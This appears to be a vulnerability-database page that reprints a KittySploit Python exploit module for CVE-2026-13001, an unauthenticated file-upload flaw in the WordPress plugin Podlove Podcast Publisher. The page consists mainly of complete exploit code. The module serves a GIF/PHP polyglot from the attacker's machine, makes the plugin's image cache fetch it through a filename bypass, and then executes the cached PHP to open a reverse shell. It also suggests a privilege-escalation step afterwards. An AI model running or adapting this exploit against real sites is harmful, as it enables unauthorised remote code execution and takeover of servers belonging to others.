Lucene search
+L

WordPress Podlove Podcast Publisher RCE (CVE-2026-13001)

🗓️ 06 Aug 2026 12:23:53Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated file upload RCE in Podlove Podcast Publisher via GIF89a polyglot.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-13001
15 Jul 202609:58
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
23 Jul 202609:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
15 Jul 202619:16
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
16 Jul 202618:57
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
3 Sep 202610:30
–githubexploit
attackerkb
attackerkb
CVE-2026-13001
14 Jul 202619:33
–attackerkb
circl
Circl
CVE-2026-13001
14 Jul 202623:08
–circl
cve
CVE
CVE-2026-13001
14 Jul 202619:33
–cve
cvelist
Cvelist
CVE-2026-13001 Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter
14 Jul 202619:33
–cvelist
euvd
EUVD
EUVD-2026-44402
14 Jul 202621:32
–euvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-13001 — Podlove Podcast Publisher unauthenticated file upload RCE."""

from __future__ import annotations

from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.podlove_probe import (
    PODLOVE_PATCHED_VERSION,
    PODLOVE_PLUGIN_SLUGS,
    Podlove,
    PodlovePayloadServer,
)
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Wordpress, Podlove):
    __info__ = {
        "name": "WordPress Podlove Podcast Publisher RCE (CVE-2026-13001)",
        "description": (
            "Exploits CVE-2026-13001 in Podlove Podcast Publisher <= 4.5.1: serves "
            "a GIF89a polyglot built from the configured framework payload, triggers "
            "the image-cache fetch (shell.php?.gif bypass), then executes the cached "
            "PHP via HTTP (reverse_tcp connects back through the normal listener)."
        ),
        "author": ["Talal Nasraddeen", "Wordfence", "KittySploit Team"],
        "cve": ["CVE-2026-13001"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-13001",
            "https://www.cve.org/CVERecord?id=CVE-2026-13001",
            "https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "wordpress",
            "wp-plugin",
            "podlove",
            "file-upload",
            "polyglot",
            "rce",
            "unauthenticated",
            "cve-2026-13001",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
                "confidence_min_any": {"wordpress": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    payload_port = OptPort(9999, "Local port serving the GIF polyglot for Podlove fetch (uses lhost)", False)
    file_name = OptString("", "podlove_file_name stem (random if empty)", False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _plugin_version(self) -> tuple[str, str]:
        for slug in PODLOVE_PLUGIN_SLUGS:
            version = self.wp_plugin_version(slug, self._wp_base())
            if version:
                return slug, version
            readme = self.wp_plugin_path(self._wp_base(), slug, "readme.txt")
            response = self.http_request(method="GET", path=readme, timeout=int(self.timeout or 15))
            if response and int(response.status_code or 0) == 200:
                body = (response.text or "").lower()
                if "podlove" in body:
                    return slug, self.wp_extract_version_from_readme(response.text or "") or ""
        return "", ""

    def _is_vulnerable_version(self, version: str) -> Optional[bool]:
        if not version:
            return None
        try:
            return self.wp_version_to_tuple(version) <= self.wp_version_to_tuple("4.5.1")
        except Exception:
            return None

    def _payload_php(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payload payloads/singles/cmd/php/reverse_tcp")
        return php

    def _build_polyglot(self) -> bytes:
        return self.podlove_build_polyglot(self._payload_php())

    def check(self):
        slug, version = self._plugin_version()
        if not slug:
            return {
                "vulnerable": False,
                "reason": "Podlove plugin not detected",
                "confidence": "medium",
            }

        vuln = self._is_vulnerable_version(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"Podlove {version} >= {PODLOVE_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        if not str(self.payload or "").strip():
            return {
                "vulnerable": True,
                "reason": f"Podlove {version or 'unknown'} detected — set a PHP payload",
                "confidence": "medium",
            }

        confidence = "high" if vuln is True else "medium"
        reason = (
            f"Podlove {version or 'unknown'} on {slug}; "
            f"CVE-2026-13001 if <= 4.5.1"
        )
        return {"vulnerable": True, "reason": reason, "confidence": confidence}

    def _trigger_path(self, payload_url: str, file_name: str) -> str:
        base = self._wp_base().rstrip("/")
        query = self.podlove_trigger_query(payload_url, file_name).lstrip("?")
        return f"{base}/?{query}" if base else f"/?{query}"

    def _trigger_upload(self, payload_url: str, file_name: str) -> bool:
        response = self.http_request(
            method="GET",
            path=self._trigger_path(payload_url, file_name),
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) in (200, 301, 302, 303))

    def _trigger_shell(self, shell_path: str) -> bool:
        """HTTP GET on the cached PHP runs self.payload (e.g. reverse_tcp)."""
        response = self.http_request(
            method="GET",
            path=shell_path,
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) == 200)

    def run(self):
        server: Optional[PodlovePayloadServer] = None
        try:
            print_status("CVE-2026-13001 — Podlove Podcast Publisher file upload RCE")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            try:
                polyglot = self._build_polyglot()
            except ValueError as exc:
                print_error(str(exc))
                return False

            lhost = self.lhost or "127.0.0.1"
            port = int(self.payload_port or 9999)
            server = PodlovePayloadServer(polyglot, host="0.0.0.0", port=port).start()
            payload_url = server.public_url(lhost)
            print_info(f"Serving framework payload polyglot at {payload_url}")

            stem = str(self.file_name or "").strip() or f"ks_{self.podlove_sanitize_name(self.random_text(8))}"
            bypass_url = self.podlove_bypass_url(payload_url)
            shell_path = self.podlove_cache_shell_path(self._wp_base(), bypass_url, stem)

            print_status(f"Triggering Podlove cache fetch → {shell_path}")
            if not self._trigger_upload(payload_url, stem):
                print_warning("Cache trigger did not return HTTP success")

            print_status(f"Executing cached payload: GET {shell_path}")
            if not self._trigger_shell(shell_path):
                print_error("Cached PHP not reachable — upload may have failed or path differs")
                return False

            print_success(f"Payload triggered at {shell_path}")
            print_info("Verify listener/session for reverse_tcp callback")
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False
        finally:
            if server:
                server.stop()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.03757
SSVC
3